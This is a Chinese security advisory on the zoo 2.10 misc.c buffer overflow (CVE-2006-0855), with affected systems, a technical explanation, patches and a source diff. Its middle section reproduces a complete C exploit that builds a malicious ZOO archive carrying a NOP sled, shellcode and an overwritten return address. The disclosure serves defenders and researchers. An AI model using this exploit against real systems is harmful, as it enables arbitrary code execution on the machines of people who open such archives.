安全研究

安全漏洞
zoo misc.c缓冲区溢出漏洞

发布日期:2006-02-23
更新日期:2006-04-04

受影响系统:
Debian Linux 3.1
Debian Linux 3.0
Barracuda Networks Barracuda Spam Firewall spamdef < 3.0.9388
Barracuda Networks Barracuda Spam Firewall firmware < 3.3.03.022
Rahul Dhesi Zoo 2.10
不受影响系统:
Barracuda Networks Barracuda Spam Firewall 3.3.03.022
Barracuda Networks Barracuda Spam Firewall 3.0.9388
描述:
BUGTRAQ  ID: 16790
CVE ID: CVE-2006-0855

zoo是用于维护文件集的文件压缩工具。

zoo在处理文件名时存在缓冲区溢出漏洞,攻击者可能利用此漏洞在机器上执行任意指令。

zoo中的fullpath()/misc.c接受指向目录项的指针并返回组合的目录名和文件名。fullpath()调用combine()/misc.c函数,并假设返回字符串长度不会大于256字节,但事实上该字符串可能大于512字节。

如果字符串事实上大于256字节的话,就会在fullpath()/misc.c函数中溢出静态变量,之后的strcpy()操作中会在栈上256字节的目标缓冲区上使用这个字符串。因此攻击者可以轻易的覆盖EIP,从而控制程序的流程。

<*来源:Jean-Sébastien Guay-Leroux (jean-sebastien@guay-leroux[.]com)
  
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=114411894100718&w=2
        http://www[.]guay-leroux[.]com/projects/zoo-advisory.txt
        http://secunia.com/advisories/11510/print/
        http://www.debian.org/security/2006/dsa-991
        http://security.gentoo.org/glsa/glsa-200603-05.xml
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

Copyright (C) 2005 - 2006 Jean-Sébastien Guay-Leroux

This file is part of PIRANA.

PIRANA is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

PIRANA is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with PIRANA; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA

*/

/*

Exploit for the vulnerability:
ZOO combine overflow
OSVDB ID: XXXX

coded by Jean-Sébastien Guay-Leroux
December 2005

*/

#include <stdio.h>

// Structure of a ZOO header

#define ZOO_HEADER_SIZE        0x0000002a

#define ZH_TEXT            0
#define ZH_TAG            20
#define    ZH_START_OFFSET        24
#define ZH_NEG_START_OFFSET    28
#define ZH_MAJ_VER        32
#define ZH_MIN_VER        33
#define ZH_ARC_HTYPE        34
#define ZH_ARC_COMMENT        35
#define ZH_ARC_COMMENT_LENGTH    39
#define ZH_VERSION_DATA        41


#define D_DIRENTRY_LENGTH    56

#define D_TAG            0
#define D_TYPE            4
#define D_PACKING_METHOD    5
#define D_NEXT_ENTRY        6
#define D_OFFSET        10
#define D_DATE            14
#define D_TIME            16
#define D_FILE_CRC        18
#define D_ORIGINAL_SIZE        20
#define D_SIZE_NOW        24
#define D_MAJ_VER        28
#define D_MIN_VER        29
#define D_DELETED        30
#define D_FILE_STRUCT        31
#define D_COMMENT_OFFSET    32
#define D_COMMENT_SIZE        36
#define    D_FILENAME        38
#define D_VAR_DIR_LEN        51
#define D_TIMEZONE        53
#define D_DIR_CRC        54
#define D_NAMLEN        ( D_DIRENTRY_LENGTH + 0 )
#define D_DIRLEN        ( D_DIRENTRY_LENGTH + 1 )
#define D_LFILENAME        ( D_DIRENTRY_LENGTH + 2 )
#define D_DIRNAME        ( D_LFILENAME + strlen (poisoned_filename) )



#define DEBUG            0

unsigned char *shellcode1;

put_byte (char *ptr, unsigned char data) {
        (unsigned char) *ptr = data;
}

put_word (char *ptr, unsigned short data) {
        put_byte (ptr, data);
        put_byte (ptr + 1, data >> 8);
}

put_longword (char *ptr, unsigned long data) {
        put_byte (ptr, data);
        put_byte (ptr + 1, data >> 8);
        put_byte (ptr + 2, data >> 16);
        put_byte (ptr + 3, data >> 24);
}

FILE * open_file (char *filename) {

        FILE *fp;

        fp = fopen ( filename , "w" );

        if (!fp) {
                perror ("Cant open file");
                exit (-1);
        }

        return fp;
}

read_shellcode () {

        FILE *fd;
        int c;
        int i = 0;

        if ( (fd = fopen ("/tmp/raw", "r")) == NULL) {
                perror ("Cant open /tmp/raw");
                exit (-1);
        }

        while ( ((c = fgetc (fd) ) != EOF) && (i < 1024) ) {
                shellcode1[i++] = c;
        }
        shellcode1[i] = 0x00;

        if (fclose (fd)) {
                perror ("Cant close /tmp/raw");
                exit (-1);
        }
}

void usage (char *progname) {

        printf ("\nTo use:\n");
        printf ("%s <offset> <archive name>\n\n", progname);

        exit (-1);
}

int main (int argc, char *argv[]) {
    FILE *fp;
    char *hdr = (char *) malloc (4096);
        char *filename = (char *) malloc (256);
    char *poisoned_filename = (char *) malloc (4096);
    char *poisoned_dirname = (char *) malloc (4096);
        unsigned long offset;
        int written_bytes;
        int total_size;

        if ( argc != 3) {
                usage ( argv[0] );
        }

        sscanf (argv[1], "0x%x", &offset);
        strncpy (filename, argv[2], 255);

        if (!hdr || !filename) {
                perror ("Error allocating memory");
                exit (-1);
        }
        if ( !(shellcode1 = (char *) malloc (1024)) ) {
        perror ("Error allocating memory");
        exit (-1);
    }
    read_shellcode ();

    memset (hdr, 0x01, 4096);

    // Build a ZOO header
    memcpy        (hdr + ZH_TEXT, "ZOO 2.10 Archive.\032", 20);
    put_longword    (hdr + ZH_TAG, 0xfdc4a7dc);
    put_longword    (hdr + ZH_START_OFFSET, ZOO_HEADER_SIZE);
    put_longword    (hdr + ZH_NEG_START_OFFSET, (ZOO_HEADER_SIZE) * -1);
    put_byte    (hdr + ZH_MAJ_VER, 0x02);
    put_byte    (hdr + ZH_MIN_VER, 0x00);
    put_byte    (hdr + ZH_ARC_HTYPE, 0x01);    
    put_longword    (hdr + ZH_ARC_COMMENT, 0x00000000);
    put_word    (hdr + ZH_ARC_COMMENT_LENGTH, 0x0000);
    put_byte    (hdr + ZH_VERSION_DATA, 0x03);

    // Build vulnerable direntry struct
    put_longword    (hdr + ZOO_HEADER_SIZE + D_TAG, 0xfdc4a7dc);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_TYPE, 0x02);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_PACKING_METHOD, 0x00);
    put_longword    (hdr + ZOO_HEADER_SIZE + D_NEXT_ENTRY, 0x00000071);
    put_longword    (hdr + ZOO_HEADER_SIZE + D_OFFSET, 0x00000071);
    put_word    (hdr + ZOO_HEADER_SIZE + D_DATE, 0x3394);
    put_word    (hdr + ZOO_HEADER_SIZE + D_TIME, 0x4650);
    put_word    (hdr + ZOO_HEADER_SIZE + D_FILE_CRC, 0x0000);
    put_longword    (hdr + ZOO_HEADER_SIZE + D_ORIGINAL_SIZE, 0x00000000);
    put_longword    (hdr + ZOO_HEADER_SIZE + D_SIZE_NOW, 0x00000000);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_MAJ_VER, 0x01);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_MIN_VER, 0x00);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_DELETED, 0x00);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_FILE_STRUCT, 0x00);
    put_longword    (hdr + ZOO_HEADER_SIZE + D_COMMENT_OFFSET, 0x00000000);
    put_word    (hdr + ZOO_HEADER_SIZE + D_COMMENT_SIZE, 0x0000);
    memcpy        (hdr + ZOO_HEADER_SIZE + D_FILENAME, "AAAAAAAA.AAA", 13);
    put_word    (hdr + ZOO_HEADER_SIZE + D_VAR_DIR_LEN, 286);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_TIMEZONE, 0x13);
    put_word    (hdr + ZOO_HEADER_SIZE + D_DIR_CRC, 0x1234);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_NAMLEN, 255);
    put_byte    (hdr + ZOO_HEADER_SIZE + D_DIRLEN, 32);

    memset (poisoned_filename, 0x90, 254);
    put_longword (poisoned_filename + 251, offset);
    memcpy(poisoned_filename + 251 - strlen (shellcode1), shellcode1, strlen (shellcode1));
    memcpy (hdr + ZOO_HEADER_SIZE + D_LFILENAME, poisoned_filename, 255);

    memset (poisoned_dirname, 0x42, 32);
    memcpy (hdr + ZOO_HEADER_SIZE + D_DIRNAME, poisoned_dirname, strlen (poisoned_dirname) + 1);

    total_size = ZOO_HEADER_SIZE + 345;

        fp = open_file (filename);
    
        if ( written_bytes = fwrite ( hdr, total_size, 1, fp) ) {
                if (DEBUG) printf ("%d bytes have been written to the file\n");
        } else {
                perror ("Cant write to the file\n");
        }

        fclose (fp);

        if (DEBUG) printf ("0x%x has been used as an offset in the file %s\n", offset, filename);

}

建议:
厂商补丁:

Debian
------
http://www.debian.org/security/2006/dsa-991

Gentoo
------
Gentoo已经为此发布了一个安全公告(GLSA-200603-05)以及相应补丁:
GLSA-200603-05:zoo: Stack-based buffer overflow
链接:http://security.gentoo.org/glsa/glsa-200603-05.xml

所有zoo用户都应升级到最新版本:

    # emerge --sync
    # emerge --ask --oneshot --verbose ">=app-arch/zoo-2.10-r1"

Barracuda Networks
------------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.barracudanetworks.com/ns/products/spam_overview.php

Jean-Sébastien Guay-Leroux提供了以下补丁:

diff -u -r -r zoo-2.10.old/misc.c zoo-2.10.orig/misc.c
--- zoo-2.10.old/misc.c 1991-07-05 12:00:00.000000000 -0400
+++ zoo-2.10.orig/misc.c        2006-01-29 17:20:35.000000000 -0500
@@ -135,11 +135,16 @@
char *fullpath (direntry)
struct direntry *direntry;
{
-       static char result[PATHSIZE];
+       static char result[PATHSIZE+PATHSIZE+12]; // Room for enough space
        combine (result,
                                direntry->dirlen != 0 ? direntry->dirname : "",
                                (direntry->namlen != 0) ? direntry->lfname :
                                direntry->fname
                          );
+
+       if (strlen (result) >= PATHSIZE) {
+               prterror ('f', "Combined dirname and filename too long\n");
+       }
+
        return (result);
}

浏览次数:3222
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障